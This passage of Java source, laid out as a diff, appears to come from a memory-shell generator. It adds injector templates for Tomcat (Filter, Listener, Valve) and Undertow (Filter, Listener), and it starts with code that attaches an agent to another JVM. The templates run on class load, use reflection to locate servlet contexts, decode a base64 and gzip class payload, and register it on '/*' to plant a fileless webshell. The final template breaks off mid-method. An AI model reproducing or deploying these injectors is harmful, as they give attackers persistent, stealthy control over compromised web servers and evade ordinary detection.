System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,294 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatFilterInjectorTpl();
}
public TomcatFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName());
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = getCatalinaLoader();
String filterClassName = getClassName();
String filterName = getFilterName(filterClassName);
Object filterDef;
Object filterMap;
// 防止重复注入
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
return;
}
} catch (Exception ignored) {
}
try {
// tomcat v8/9
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v6/7
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception e) {
// tomcat v5
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (int i = 0; i < threads.length; i++) {
// 适配 v5 的 Class Loader 问题
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = threads[i].getContextClassLoader();
break;
}
}
return catalinaLoader;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,230 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Tomcat Listener 注入器
* Author: pen4uin
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatListenerInjectorTpl();
}
public TomcatListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
return;
}
try {
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
} catch (Exception e) {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
arrayList.add(listener);
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,243 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Valve 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v8.5.83, v9.0.67
*/
public class TomcatValveInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatValveInjectorTpl();
}
public TomcatValveInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getValve(context);
if (valve == null) continue;
injectValve(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
valve = clazz.newInstance();
} catch (Exception e2) {
e2.printStackTrace();
}
}
return valve;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public boolean isInjected(Object context, String valveClassName) throws Exception {
Object obj = invokeMethod(context, "getPipeline");
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(valveClassName)) {
return true;
}
}
return false;
}
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println(valve.getClass().getName() + "exist, skipping.");
return;
}
try {
Class ValveClass;
try {
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
} catch (Exception e) {
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
}
Object obj = invokeMethod(context, "getPipeline");
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,207 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class UndertowFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowFilterInjectorTpl();
}
public UndertowFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null)
contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterClassName = filter.getClass().getName();
try {
if (isInjected(context, filterClassName)) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,202 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class UndertowListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowListenerInjectorTpl();
}
public UndertowListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
